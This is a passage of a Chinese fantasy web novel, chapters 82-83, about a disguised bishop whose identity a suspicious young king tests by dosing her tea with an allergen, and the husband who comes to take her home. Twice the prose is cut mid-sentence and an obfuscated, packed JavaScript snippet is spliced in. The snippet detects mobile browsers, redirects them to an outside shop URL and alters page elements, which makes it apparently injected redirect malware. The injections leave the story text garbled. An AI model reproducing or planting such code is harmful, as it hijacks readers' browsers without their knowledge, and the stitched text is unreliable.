“她如此行为并非是因为维克多的功绩,而是因为维克多的实力。女神没有这么爱世人。” 她浅浅地笑着,云淡风轻的说出了大逆不道的言论,直到对上列昂尼德无比吃惊的目光,她才收敛神色。 “似乎吓到您了?但您应该不信仰女神吧?” “是的,我不信神……只是有些惊讶,我一直以为您是忠诚的信徒。” “我忠于教廷斩杀魔兽、治愈伤员、保护弱者的职责,除此以外别无其他。” 她目光坚定,列昂尼德意识到自己之前将她视为维护教廷利益的犬马并不恰当。 “阿琳娜小姐,我最后还有一个问题,有些好奇。” “你问吧。” “教会记录您是因为在卡丽安娜主教去世后,平定东部有功才成为主角的,但有传言说······” “你想问我为了成为主教,杀死老师的传言是否属实吗?”莱安娜转过头来盯着他。 “我去了东区觉得很奇怪,格里卡尔一众神官们很信任您,同时他们似乎对叛乱的卡丽安娜主教格外尊敬,这和传闻矛盾。” “传闻是真的,列昂尼德,杀死老师的人确实是我。” 她抬头看向远处日光照耀着的教堂房顶,仿佛在看一座坟墓。 “那时老师已经背叛了教廷。她作为攻击型高阶魔法师,实力强悍,同时在东区又有诸多支持,因此教廷派遣我去结束她的生命。一来考虑到我很了解老师,二来就是为了测试我的忠诚,三是为了平叛后分裂东区的势力。维克多和神使团早就在我和老师对峙的城外等候,随时准备使用光域魔法,一旦我失败或者倒戈,那座城市立刻就会被夷为平地。” “用整个城区来要挟你······教会还真是把事做绝啊。” 列昂尼德确实没有想到,对于教会而言,连主教的性命都是如此不值一提。 随后反应过来自己刚才这个问题问得有些越界了,但莱安娜主教竟然详细地回答了自己。 “刚刚这个问题算是您的私人信息,您不必告诉我这么多的。” 列昂尼德拘谨地摸了摸自己的鼻子。 “虽然是私人信息,但是和教会有关,告知您,是因为您提到了从其他神官那儿听来的传言。我知道阿纳托利的情报工作大多由您负责,知道这些事能帮助你更好地了解教廷、判断来自他们情报的真假,更恰当地选择行事手段。” “更恰当的手段?您有什么指示?” “这不过是我的建议,指示谈不上,您对阿纳托利效忠,我自然不会对各位的行动指手画脚。我发现您之前对于神职人员心有芥蒂,教会和北地积怨已久,这样的想法也很正常。但现在你也知道教会是什么德行了,被当耗材使的神官大有人在,其中可以合作联合的人不在少数,有时候不如放下偏见,说不定能有意外收获呢?” “我会考虑的······” 列昂尼德回答得非常犹豫,他没有抬头,莱安娜不再追问。 在圣都的日子还长,列昂尼德他们亲身接触了其他神职人员后,一定会有不同的想法。 接下来最要紧的还是想办法恢复自己的身份,同时还得想办法找到阿萨特实验的证据。 82. 亨利的疑心 自阿纳托利接手防御司工作这段时间以来,防御司众人已经和他磨合完毕、配合默契。 经过了数月的努力,魔兽潮前线终于传来了好消息。 他的助手奥兰多眉飞色舞地提着战报冲到了他的面前。 “阿纳托利长官,这是东部希尔兰德城区的最新战报,格里卡尔神官成功毁灭东二区的高阶魔兽聚集点,罗塞尔长官已经和西部支援军汇合,西部的支援极大地提高了平定魔兽潮的效率,再过一周左右,希尔兰德地区应该就能稳定下来!” 这位年轻人眼下常挂着乌青,因为高强度的加班早已无光的双眼竟然在此刻熠熠生辉。仿佛是看到了即将迎来长假的曙光。 “这还真是最近一个月以来最好的消息了。” 阿纳托利也由衷地感到开心。 “神官们都很得力,这倒是让我这个在圣都的人有些不好意思了。” 他笑了起来。 “魔兽潮的平定当然有赖各位前线战士的付出!但您共享的魔兽情报还有战术规划也很重要,我从未听说过原来可以提前探测魔兽潮爆发的中心,在其尚未完全异化的时候就进行清除,这真的减少了我们很多损失。” 奥兰多喋喋不休地说起来,阿纳托利在北地的事迹他早有耳闻,没想到有一天这位如骑士传记主角一样的人物成为了他的直属上级,在和偶像共事后,他眼里崇拜的光芒愈发灿烂了,这倒是让阿纳托利不太好意思,他连忙转移话题。 “对了,最近魔兽潮已经进入平缓期了,大家终于可以回家休息,而不是在防御司工位上就地休息了。” 阿纳托利看着防御司成员们温和的笑着。 “是司长您想回家了吧。” 奥兰多带着八卦的笑容盯着阿纳托利。 “听说您是在授勋典礼上结婚的,连蜜月都没有过就被抓来干活了,案件破获后立刻接手了远程调度的工作,都快住在防御司里了,阿琳娜夫人负责的调查记录工作,这么长时间都没见面,她一定很想念您。” 稍微年长一些的成员都不由得感叹还得是初生牛犊不怕虎,长官的私事都敢直接舞到脸上。 原本以为奥兰多会被数落一通,没想到阿纳托利长官只是笑了笑。 “那你可想错了,我家那位可是有操心不完的事,她才不会想念我。” 他带着笑有些无奈地叹了口气。 “好了,现在这个点下班的话,我还能和她共进晚餐,从我们来圣都到现在算头一次吧。” 他语气很平静,但任谁都能看出他眼中的期待。 “长官您想好共进晚餐要送什么礼物了吗?” “礼物?” 阿纳托利一愣。 需要送什么礼物? 看他一脸茫然的样子,奥兰多摇着头担忧地看着他。 “阿琳娜夫人没有生过您的气吗?您心里似乎只有工作?” “不会啊。” 阿纳托利觉得有些冤枉,明明莱安娜其实更像是那个一心只有工作的人。 要是自己不把防御司的工作放在心上,她才会生气吧。毕竟在自己算起来是在给她打工,要是真的消极怠工恐怕会被数落死。 他突然就想起了莱安娜生气的样子。 莱安娜很少生气,二人在奥利弗学院的时候,一般都是自己被她气得够呛,然后她心虚地过来示好,自己倒也是个没骨气的,撑不过三天就会忍不住原谅她。 “莱安娜唯一一次生气是什么时候呢?” 他回忆着。 “好像是在我提醒她小心文森特的时候……” “天呐,她那张冷脸真是可怕。” 想起莱安娜那时候生气的样子,他竟然现在还心有余悸。 “阿纳托利长官?” 奥兰多拍了拍出神的阿纳托利。 “您怎么脸色这么难看?” ”没什么,对了,你有什么送礼物的推荐吗?我或许可以准备一份在之后晚餐时送给我的妻子。” “您要是说起这个……” 奥兰多滔滔不绝起来,正在此时有一位刚送完材料,回到办公室的成员插了句话。 “虽然司长您应该很期待和阿琳娜夫人共进晚餐,但今天您恐怕需要改变计划了,我刚才从王廷那边送材料回来,碰到了正在前往卡特莱宫的阿琳娜夫人。据说是亨利陛下有事传召,看时间应该没法和您共进晚餐。司长您不如计划一下新的活动吧。” “你说亨利陛下找她?” 阿纳托利不自觉地挑了下眉毛。 “是的,所以说司长今晚还是计划其他安排吧,晚餐恐怕……” “那我去接她。” 而在卡特莱宫,亨利看着眼前的棋局,皱起了眉头,似乎相当不满意。 “陛下为何愁眉不展呢,您已经赢了我了。” 莱安娜笑着放下了手里的棋,这一局胜负已定,已经没有再走的必要了。 “阿琳娜夫人您似乎在故意让我赢吧,明明之前在侯爵的宴会上我旁观过您帮助玛丽小姐翻盘,您的水平不止如此。” “对我这样业余的人来说,下棋的水平不稳定也很正常,人人都会有灵光乍现的时候。” 她平静地解释道,亨利抬眸瞥了她一眼。 “莱安娜老师,您要装到什么时候呢?” 他摩挲着手中最后一颗白棋,在心里轻声说。 早在婚礼上他就觉得阿琳娜和老师极其神似,但又没有使用混淆外貌魔法的痕迹。原本想在之后找机会再单独接触的,但这位夫人对外一直称病,自己没什么观察的机会,直到半月前侯爵的宴会上,她代一位小姐赢了一局棋。 “谢谢您!阿琳娜夫人!没有您的帮助我一定会输的,届时我父亲留给我的胸针一定会被琳达小姐赢走的……” 玛丽紧紧握着她的手,眼中噙着泪。 “不必感谢,琳达公爵小姐下半场竟然无视规则找了这么厉害的外援,您一个人孤军奋战也太不公平了,我也只是恰好看见了他的破绽,提醒了您两句,还是玛丽小姐您自己机敏。” 莱安娜一边抽出手帮她整理了下细碎的头发,一边继续补充道。 “一局棋,外人还有机会能帮小姐,但在家中还希望玛丽小姐务必自强。小姐父亲的遗物竟然能在未经你同意的情况下被转送到侯爵家,成为游戏的奖品,玛丽小姐还请多加小心。” 玛丽知道这是对方善意的提醒,她仿佛抓到救命稻草一样,委屈的情绪全倒了出来。 “我会的,我的叔叔不是个东西,竟然在我父亲去世后做出这些事儿……” 她拉着莱安娜的手在花坛抱怨了将近二十分钟,直到她的未婚夫来找她,这孩子才依依不舍地离开。 莱安娜有些疲惫地叹了口气,家人是多么重要的存在,家人的遗物可以说是留给活人最后的念想。 “我的家人们什么遗物都没能留下,连骨灰都没有……至少让这孩子能够留下什么吧。” 她看着玛丽远去的背影在心中想道,就在她出神的时候,背后幽幽地响起熟悉的声音。 “我没想到阿琳娜夫人还是棋艺高手,今天的棋局有您的加入相当精彩。” 亨利从灌木后面走了出来,他带着温柔的浅笑。 莱安娜朝他行礼。 “没想到今天的宴会您也来了,我听其他贵族说,您似乎不怎么出席私人宴会。” 莱安娜握紧了裙摆,早知道他今天会来自己一定会推掉这次邀请的。 “偶尔也会,但看来我今天来得很巧,看到了您如此精湛的棋艺……马上就到三月了,卡特莱宫的郁金香开得很好,不知道我是否有机会邀请阿琳娜夫人和我再下一局。” 莱安娜低着头,能感受到对方观察的目光。 “亨利很熟悉我的棋路,既然他起疑了,再躲也没有其他意义。” 她心中下定决心,然后抬起头来。 “我的荣幸,陛下。” 而在第二天她便收到了邀请前往卡特莱宫,坐到了棋盘的对面。 知道规则的人不能胡乱下,在规则以内的博弈很容易暴露思维的习惯。 但至少莱安娜确信这一下午自己隐藏得很好,不然对方也不会如此失望。 亨利在获胜之后,笑着起身,示意这个游戏的结束,随后挥手让人清理起了棋盘。 “看来阿琳娜夫人是不给我当您对手的机会。” “陛下说笑了,我哪是您的对手,我棋艺不精,很遗憾没能让陛下尽兴。” 她微笑着起身行礼,亨利看着她这恭敬的样子皱了皱眉。 “阿琳娜夫人不必拘束,虽然棋是下不了了,但我还有事拜托您。” “哦?不知道我有什么能为陛下分忧的。” “走吧,我们去花圃那边坐着聊。” “遵命。” 初春的阳光既不似冬日的冷淡也没有夏日的毒辣,温暖得恰到好处。 侍者给他们倒上了茶,莱安娜喝了一小口,有着浓厚的香味,她觉得应该是果茶。 “不知道这个茶是否符合阿琳娜夫人的口味。” 亨利微笑着问她。 “当然,很芬芳的果茶,我很喜欢。” “这种茶名叫开至荼蘼,除了常规的苹果、桃子、玫瑰果、玫瑰花瓣、玫瑰花蕾外还加入了木槿花、覆盆子和特殊香料。香气比寻常鲜果茶会更加浓郁但又保留了果香的清新,您如果喜欢,走之前我让安东尼奥给您准备一些。” “感谢您的恩典。” 她又喝了几口,放下杯子,环视整个花圃。 花圃内有诸多种类的花,核心区的郁金香更是种类繁多,鹦鹉郁金香、重瓣郁金香、火焰郁金香争奇斗艳,哪怕在春日花团锦簇的花圃中也是无比夺人眼球的亮色。 在这一团艳丽的景致中,莱安娜看到了一抹很安静的色彩。 那是她从未见过的花朵,绿色的郁金香。 观察到她目光的亨利笑着问道。 “看来您对她很感兴趣?” “我从未见过绿色的郁金香,它确实很新奇。” “她很漂亮不是吗?” 亨利起身朝那团绿色走去,蹲下身用手轻轻托起它的花苞。 “这个品种的郁金香叫心上翡翠,是我前年委托花匠培育的,她耗费了许多时间,非常珍贵。” 花瓣呈现出一种特别的绿色,花瓣基部是浓重的翡翠绿,向花瓣中肋直至边缘延伸逐渐变浅。 像是一封来自春天的信,透着生命的气息。 “没想到陛下竟然有这样的爱好。” 莱安娜笑着敷衍道。 “这不是我的爱好,这是一份礼物,我花费良多培育这种郁金香,本是为了送给一位朋友。” “陛下如此诚意,想必您的那位朋友收到这份礼物时一定很惊喜。” 她礼貌地回答,点到即止。 莱安娜对这种没什么价值的私人关系不感兴趣,她本人对花也没有什么研究。 对她来说故乡山坡上的花一抓一大把,花店的花好看价格也相对合理,这花圃里的怪异品种还需要用钱和时间才能砸出来,或许会成为畅销一时的商品、炒作的利器。 “啊,王室虽然被架空多年但还是很有钱呢,如果防御司没经费了就让阿纳托利去抱亨利的大腿好了,连养花都舍得这么多钱,投资魔导器这种利国利民的事情,亨利一定不会拒绝吧,我会让工匠在魔导器上写上他的名字的,这样面子里子都有了啊,不比养这破花强。” 她如是盘算道。 亨利还在轻声讲述,但莱安娜一个字都不想听,但还是带着微笑装作认真地点头敷衍。 终于让她找到了一处间隙,插了句话。 “这种花真的很漂亮……对了,陛下刚才不是说有事情拜托我吗?” 亨利一顿,随后笑着解释。 “是关于缄默区案件的事。” “那个案件不是已经结案了吗?”莱安娜装出一副十分困惑的模样。 “关于禁药的调查已经结束,但在这个过程中,安全部发现了其他线索,有贵族在私下进行器官交易。” “器官交易?”莱安娜惊讶地看着亨利。 “对,他们肆意杀害平民以获取对方的内脏。” “这可真是残忍!”莱安娜睁大了眼睛。“那安全部之后要怎么处理这些罪大恶极的人?” “这正是我要和您说的事,此案需要防御司的协助。” 他抬头观察着对方的神色,阿琳娜的愤怒在脸上仿佛凝固了一下,不加掩饰地流露出无措的神色来。 确实很像一个刚加入游戏的新手。 她很快便生涩地回应着:“但这个案子不涉及魔兽,应该不在防御司的职权范围内吧。” “那些器官除了被一些贵族自行利用,还被用于魔兽的实验。人体实验和魔兽有关,而且目前已经查到了幕后嫌疑人,不过他势力庞大,要想扳倒他,我还需要防御司的助力。” “我无法代表防御司,我只是一位翻译罢了,恕我……” 听到这意料之中的推脱,亨利眯起了眼睛。 “夫人不必装傻,如果您真的对规则局势一窍不通,案件之初,您以借书的借口来和我交涉时,阿纳托利就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他耐心地给莱安娜解释,目光柔和地落在前方的花朵上,像是提了句稀松平常的事。 “我目前掌握的证据确实不足以扳倒阿萨特,但如果坐实了他谋杀的罪名,安全部就有机会深入调查,一旦拿到魔兽实验的线索,就会全案移交防御司,希望届时,防御司能够将阿萨特绳之以法。 阿萨特主教缜密谨慎又是维斯特利亚的心腹,亨利打草惊蛇,用过激的方案让阿萨特主教自乱阵脚。 他把自己的性命放上赌桌,只为了获得一个扳倒阿萨特的机会。 莱安娜沉默许久后才开口: “陛下的方案过于危险,用自己的性命做诱饵,要是防御司想要置身事外,您要怎么办?” 亨利竟然朝她灿烂一笑:“您怎么会拒绝呢?您难道不想看阿萨特下地狱?” 莱安娜知道这是一句试探,面不改色:“我对阿萨特主教了解甚少,不过陛下如果所言属实,他确实应该下地狱。而且,我代表不了防御司。” 亨利微笑着:“防御司不会拒绝的,从公义上说,一个作恶多端的魔鬼应该得到惩罚,从现实角度来说,他是维斯特利亚的眼睛,除了管理后方的医疗工作,还有维斯特利亚监视系统。除掉他,至少北地来的各位暂时能松口气不是吗?” 莱安娜不置可否,亨利继续说:“就拜托夫人将此事替我转告阿纳托利司长了,我期待防御司的答复。” 莱安娜:“我会如实转告,请陛下放心,但还有一事需要向陛下说明。” 亨利示意她说下去。 “防御司只会干涉职权范围内与魔兽有关的事务,在安全部移交魔兽实验的线索前,无论春日庆典上发生什么,防御司不会介入。” 亨利闻言眯起了眼睛:“哪怕我命悬一线,也要袖手旁观吗?您还真是绝情。” 面对他的疑问莱安娜选择了沉默。 亨利笑着叹了口气。 “可以。” 两人关于扳倒阿萨特主教一事算初步达成了合意,莱安娜估计今日亨利的目的就是言语上试探自己的身份、同时向防御司寻求合作。 “看来今天亨利的试探和交代的任务都结束了,得回去和阿纳托利商量……”她心里思索着。 不由得为应付完今天的亨利的试探松了口气。想必之后等他寒暄几句,自己就能离开。 “祝陛下一切顺利。” 她向亨利再次行礼,亨利笑着朝她说。 “承阿琳娜夫人的吉言,那我期待二位的答复。” 说罢,他示意莱安娜起身。 “走吧,阿琳娜夫人,我们再看看东花圃的花,我派安东尼奥送您回去,您出门竟然连一个护卫都不带。” “往日列昂尼德或者娜塔莉娅会陪着我的,但今天他俩都有其他事要忙。” “那阿纳托利司长可真该被好好批评一下,他对您的安全竟然如此不上心。” “圣都之内,自然没有不安全的地方。” 莱安娜恭敬地回答,亨利笑了笑不再说话。 走到东花圃门口,又是一番景致,以素色的花朵居多,淡淡的白色紫色仿佛要填满这个世界,洁净的色块再莱安娜眼中晕染开来,逐渐变得有些模糊,她以为自己看花了眼,转过头去看一旁的亨利。 那张年轻的面庞仍然带着谦和有礼的笑容,只是面容竟然也开始出现一样的模糊。 莱安娜朝前面倒了下去,亨利拉住了她,将她拉到了自己的臂弯里,搂着她慢慢蹲下,检查对方的情况。 他眼神复杂地端详着对方,莱安娜低垂着脑袋,已经失去了意识。 他伸出一只手将她有些凌乱的头发别到了耳后,在确认她完全昏迷后,亨利一把将她抱了起来。 安东尼奥观察着他看怀中之人的眼神,就像是在看托起的一朵花,不知道是要将她放于掌心欣赏,还是要毫不犹豫地掐断。 正当安东尼奥还在观察的时候,亨利已经收回了目光,开口询问。 “安东尼奥,东殿里的医师和治愈系法师都准备好了对吧。” “一切准备就绪,陛下。” 安东尼奥回禀道。 “哪怕改变面容,收敛魔力,魔力波动也不可能完全隐藏。老师受过很多伤,很多伤口哪怕愈合也留有疤痕,还有骨龄……只要医师们一看,一切都能确定了。” 他抱着莱安娜朝东殿走去。 “如果确定了阿琳娜小姐就是莱安娜主教……您要怎么做呢?” 安东尼奥跟在他的身后问道。 亨利背对着他没有说话,只是放慢了脚步。 83. 化险为夷 “她们二人没有关系?这不可能。” 亨利语气平静,声音冰冷。但这种不容置疑的平静甚至比暴怒更让桌前的医师和治愈系法师战战兢兢。 “请陛下见谅,我们对比了您给我们提供的样本,两位女士确实不是一个人。” 亨利坐在椅子上,神色晦暗不明,沉默了好一会儿后才开口: “详细一些,不要遗漏任何一个细节。” “那位过敏休克的女士我们已经检查过了,虽然骨龄吻合,但她身上没有您说的那些伤口,面部我们也检查了,绝对没有混淆魔法的痕迹,至于魔法波动,我们用同频石检测了三遍,这位女士没有魔力……” 亨利闭上了眼睛,没有说话。 这个答案折磨了他许久,但终于尘埃落定的时候,他却不愿意接受。 “我知道了,给她治疗过敏了吗?” “已经给这位女士喝了治疗过敏的特效药物,还用了治愈魔法,两到三小时后应该就会醒过来,她这样接触如此过量的过敏原是相当危险的,之后或许要更加小心。” “我知道了。” 他朝医师和治愈系法师摆了摆手,示意他们退下。 在二位离开后,亨利起身,朝内殿走去,安东尼奥刚想跟着他一同进去。 “你留在这里,没有命令不用过来。” “遵命。” 安东尼奥安静地站在了原地,看着亨利的背影消失在了内殿的大门。 昏睡的病患被平放在内殿的躺椅上,医师走后,侍女已经帮她重新穿好了衣服。 亨利走过去托起她的手,挽起她的袖子,手臂上因过敏起的红疹还没有褪去。 亨利叹了口气,握紧了对方的手掌。 “不是一个人?但除了您以外我没有遇到第二个对曼斯维果过敏的人,症状都一模一样,一定是您才对啊?” 浓烈香气的花果茶可以很好地掩盖曼斯维果独特的酸涩,亨利加了足量的浓缩果汁,普通的过敏患者并不会有休克的症状,只有少数过敏症极其严重的人才会到昏迷的程度。 “但为什么会没有那些伤口?为什么会没有魔力?阿纳托利是不是对您用了什么不知名的手段,北地这些年确实有些新的技术……” 他低着头喃喃自语,但对方并不会给他答案。 躺着的人面色苍白,那张陌生的面孔仿佛还在向亨利一遍遍强调那个他不愿接受的结果。 “求您了,老师,是您吧,拜托了。” 他紧紧地握着对方的手。 “如果您还活着,这一次能不能不要站在我的对面……” 两只手捧起了她的手掌,贴上了自己脸侧还有额头,虔诚地闭上了眼睛,再次睁开时,那双金色的眼睛蒙上了一层雾气,在睫毛扑簌了一下后,两行泪滑了下来。 亨利走出内殿的时候泪痕已经干了,他看上去没什么表情,那双金色的眼瞳无比漠然。 “陛下。” 安东尼奥走上前去,等待他的吩咐。 “阿琳娜应该很快就醒了,我们也真是不小心,没注意到阿琳娜也对曼斯维果过敏。你去让花匠给阿琳娜装点一束指尖翡翠作为礼物,等她醒了,我会和她共进晚餐,之后你护送阿琳娜回去吧。” “是。” 安东尼奥松了口气,看样子亨利已经接受了阿琳娜夫人不是莱安娜主教的事实。 答应后他便走到殿外去找花匠了。而亨利回到了内殿,在躺椅旁的椅子上坐下,静静地端详着对方。 莱安娜醒来的时候,脑袋疼的厉害,胸口也很闷,躺着连咳嗽了几声。 有人似乎察觉到了她的醒来,迅速过来扶她靠在了椅背上。 她定睛一看,是亨利。 “陛下?” “抱歉,阿琳娜,我没想到您对曼斯维过敏,果茶中的混有一些。您休克后我就带您来了内殿,刚才医师已经给您服用了药物。” 莱安娜本来昏昏沉沉的脑袋一下子就吓得无比清明。 “他一直都知道我的过敏症,原来在这里等着试探我呢!医师?他会不会发现了什么吧?” 莱安娜攥紧了手心,下意识摸了颈部佩戴的拘束项链。 “魔力抑制装置也没有被动过。” 她松了口气。 “如果亨利需要用这种手段来确认我的身份,那就说明他手里没有任何实证,现在他什么都没验出来,我反而安全了。而且后续他需要防御司的协作,短期内他不会再搞小动作了……” 莱安娜判断了当下情况,开口道: “请您恕罪,我给陛下添了诸多麻烦,还如此失态。” “不是您的错,您也不知道自己对曼斯维果过敏吧。” “我从未听说过。” 莱安娜摇了摇头。 亨利关切地看着她。 “那您日后可要加倍注意,这种过敏症属实少见,我认识的人中也只有一位有这种症状,不过好在这种果实的产量不多,多用于制药,不常用在饭菜里。” “谢陛下提醒。” 她起身向亨利致谢。 见她已经恢复得差不多了,亨利笑着问道。 “既然已经到了傍晚,阿琳娜你也恢复了,不妨和我共进晚餐吧。” 他期待地看着对方。 莱安娜有些意外,说实话她并不想再和亨利周旋下去,谁知道对面还有什么打算。 却一时不太好找理由拒绝。 就在这时,安东尼奥走了进来。 “陛下,阿纳托利司长到了,他说他来接阿琳娜夫人回去。” 莱安娜看见亨利的笑容僵了一下。 这简直就是救命稻草,没等亨利开口,莱安娜立刻开始给亨利道别。 “既然我的丈夫已经来接我了,就不打扰陛下了,很抱歉今天给您添了麻烦,您放心我会向他复述您的想法,祝陛下一切顺利。” 亨利的话被她全堵了回去,顿了一下后笑着向莱安娜点头。 “既然如此,我就不留二位了,那期待阿琳娜夫人您可以给我带来好消息。” “我一定尽力。” 阿纳托利正坐在等候室,听说莱安娜下午两点左右就来了,而现在窗外已是一片暮色,不知道她为什么能跟亨利耗这么久。 “亨利一向谨慎,莱安娜现在和我共享人质的身份,亨利哪怕真看出什么,也不会贸然下手才对。” 他安慰着自己,但心仍然悬了起来。 “但这也太久了。” 直到看见莱安娜和安东尼奥出现在等候室正对着的小径,影子越来越近,他悬着的心终于放了下来。 “阿琳娜!” 听到阿纳托利的呼唤,她才抬起头。 她的怀里抱着一束花,疲惫的脸上浮现出了一个笑容,好像终于松了口气。 她走过来,将花塞给了阿纳托利,然后径直给了他一个拥抱,手臂搭上了阿纳托利的肩膀,将重心完全靠在了他的身上,阿纳托利顺势托住了对方,很惊讶于她今天的亲密举动,转而一想,或许这也是表演的一部分。 “挽着我快走。” 她的声音很轻,像是提不起力气。 察觉到她有异常的阿纳托利,挽上了她,扶着她和安东尼奥道别。 二人刚走出卡特莱宫的等候室不远,在确定没有其他人后,莱安娜示意阿纳托利停下脚步。 “等我休息一下,我有点难受。” 她仍然挽着自己的手臂,似乎想把所有的重量都分过来。脸色看着非常不妙。 “怎么了莱安娜?” 阿纳托利有些手足无措,他在想实在不行就回等候室找个医师。 “你疯了吗,在这里这样叫我?” 莱安娜踢了他一脚,然后蹲了下去。 阿纳托利赶紧环视四周,确认了没有人,这才为刚才自己关心则乱的发言捏了把汗。 看着对方的不太好的状态,阿纳托利知道原来刚才莱安娜扑过来抱住他并不是什么作秀,她是真的坚持不住了。 “到底怎么了?” “亨利怀疑我,在茶里加了曼斯维果,测试我会不会过敏,然后在我出现休克症状后找了医生来验证身份,万幸他应该没看出什么……” 她还没有说完,阿纳托利就蹲了下来,将花束甩到了一边,冷着脸握住她的手腕。 “阿纳托利?” 莱安娜试探地问。 他托起莱安娜的手,小心地掀起了她的袖袍观察。红疹退了一些,但在瓷白的手臂上仍然很扎眼。 莱安娜看见阿纳托利深吸了一口气,在沉默了半晌后他才开口,仿佛终于收拾好了情绪。 “他竟然让你直接接触过敏原,我还是真是高估了他的底线。” 他将莱安娜的袖袍放了下来,盖住了那些红点。 “你还能自己走吗,离车还有段距离,我可以抱你过去。” “不用,还没有到那个程度,但你挽着我吧。” 她慢慢站起身,阿纳托利扶着她,二人就在暮色下朝着卡特莱宫门口缓慢移动。 “要是自作主张地抱她过去,恐怕她心里又要不舒服。”阿纳托利有些无奈。 等上了车,莱安娜终于跟泄了气的皮球一样,靠在了阿纳托利的肩上。 她没有说一句话,只是疲惫地闭着眼睛。 “你先休息一会儿吧,今天大家可以一起吃晚餐,东部的麻烦快结束了。” 她只是点了点头,示意她听见了。 “睡吧,到了我会叫你,回去先让马克西姆给你再看看。” 莱安娜睁开了眼睛,头转了一点,她把下巴搭在了自己肩膀上,认真地看着他 “我不困,只是过敏症的影响还没有完全褪去而已,还有重要的事和你说。” “等一下。” 阿纳托利赶紧打断她,防止她马上要说上半个钟头的工作。 “既然你不困可以先看看这个。” 他从椅子下面拿出了藏起来的花束,白色的茵挪蔷薇和向日葵交相呼应,还有两多鸢尾和一些风信子,配色有些凌乱,造型也有点些粗糙。 “这是?” “我的助手奥兰多说,如果长期在外工作,在回家的时候应该给家人带一束花。但是时间很紧,我也来不及去花店,这是同事们和我一起在防御司插的花束。” 莱安娜笑盈盈地接过花束,他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216398|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边解释一边移开了目光。 “花是哪里来的?” “从同事工位上摘的。” “他们竟然愿意给你摘啊。” “他们很热心。” 阿纳托利抓了抓脑袋。 “我很喜欢这份礼物,阿纳托利。” 莱安娜笑着将花捧着,凑近闻了闻,然后心满意足地抱着它朝自己靠了靠,歪着脑袋瞧着他。 看得阿纳托利愣了两秒。 “喜喜……喜欢就好……” 他觉得自己的舌头有些不听使唤,他将目光移到了其他地方,然后注意到了莱安娜塞给他的那束花。 “对了,这是什么?绿色的郁金香?” 阿纳托利指了指刚才上车放在对面的郁金香。 “很新鲜吧,听亨利说这是他请人专门培育的品种,名叫指尖翡翠,我在旁边夸了两句,亨利就顺手也送了我一束。” 莱安娜解释道,但她发现刚才还心情不错的阿纳托利,脸色开始变得有些不太好看。 “嗯?” 莱安娜一头雾水。 “怎么了阿纳托利?有什么问题吗?” 她试探地问道。 “不,没什么。” 阿纳托利若无其事地摇了摇头,随后抬起头很认真地看着莱安娜。 “那两束花你更喜欢哪束呢?” 他语气平静,还面带微笑。 “我……” 莱安娜本想脱口而出自己不喜欢花,阿纳托利最好下次送点其他有用的,但话到了嘴边却没开口。 直觉告诉她不能这么说,阿纳托利此时笑容看着有些可怕,他刚才的语气也有点微妙。 “我当然是更喜欢这束。” 她举起了阿纳托利哪束花,在心里捏一把汗。 “亨利那束顶多算我的精神损失费吧。” 阿纳托利听了她的话的脸色略有缓和,满意地点了点头。 “他这么在意自己的审美?” 莱安娜觉得有些好笑,再一次靠在了对方身上,开始转述起今天的事,但她早就疲惫到了极点,声音越来越小,在说到亨利寻求防御司协作时,脑袋彻底耷拉下去。 呼吸声逐渐均匀,阿纳托利拿起外套搭在了她身上。 这才抓起对面那束包装精致的郁金香细细端详。 非常漂亮的翡翠绿,自花瓣根部向上蔓延,墨绿、翠绿、浅绿相互交织,花瓣轻薄柔软,若将花瓣捻起,真如一片翡翠一般。 “指尖翡翠……” 他默念着这个名字,然后撒气一般将花扔到了对面的椅子上。 “防御司的协作?”他思考着亨利的意图,莱安娜迷迷糊糊中说的信息残缺不全,还是等她清醒后了解全貌再想对策。 …… 莱安娜醒来的时候,已经到家了,睁眼是她熟悉的天花板,她应该睡得有些沉,被人抱到了房间都毫无知觉,嘴里有种苦味,应该是被喂了药,她身上的礼裙并没有换,或许是不想影响她休息。 她起身拉开窗帘,外面的天色已经完全暗了下去。 “唉,应该已经错过了晚餐的时间,明明听阿纳托利那样说,我还期待了一下……” 她看着窗外的夜色叹了口气,然后提着裙子睡眼惺忪地准备下楼。 按照马克西姆他们的习惯,应该会给她留出一份食物,在厨房让人热一下就能吃了。 她还没有走到楼下就看见了阿纳托利正坐在沙发上阅读信件。 听到她的脚步声,抬起头来。 “你醒了?感觉好些了吗?马克西姆给你打了一针,还喂了你一些草药。” “已经没事了,你们都用过晚餐了是吧,我下来拿我那份。” 她习惯性地去看桌面的右上角,但今天那里空空如也。 “聚餐泡汤了,娜塔莉娅和列昂尼德因为有新的任务要执行没有按照预期回来,马克西姆匆匆吃了几口出门去采购药品了,我还没有吃晚餐。” 阿纳托利说着放下信件。 “为什么?你加班加傻了?” 莱安娜嘲笑道。 “我在等你…” 阿纳托利有些无语。 这下莱安娜笑不出来了。 “那……那我们吃什么?” 她有些心虚地把目光移到了饭桌上,不去看阿纳托利的脸,悄无声息地把重点放在了菜品上。 “是你喜欢的菜,厨房很快就会做好。” 对方一边说一边走到了桌子旁边坐下。 佳肴很快就准备好端上来了,这位厨师是在露比的敦促下高薪聘请的,是一位专业的南方大厨。 “毕竟不能指望马克西姆他们和自己的厨艺突飞猛进,也不可能期望露比天天来这里做饭,要是只有他和列昂尼德他们倒是无所谓,但莱安娜的胃口一直都不太好,也许找个专业的厨子她能多吃两口呢。” 出于这样的考虑,拜托露比找到了这位大厨。 而现在这位厨师端上美味佳肴后还非常善解人意地开始布置餐桌,点上了烛台。 看着莱安娜坐在对面,在烛光笼罩下带着浅笑,阿纳托利突然觉得请这位厨师真是无比明智的决定。 84. 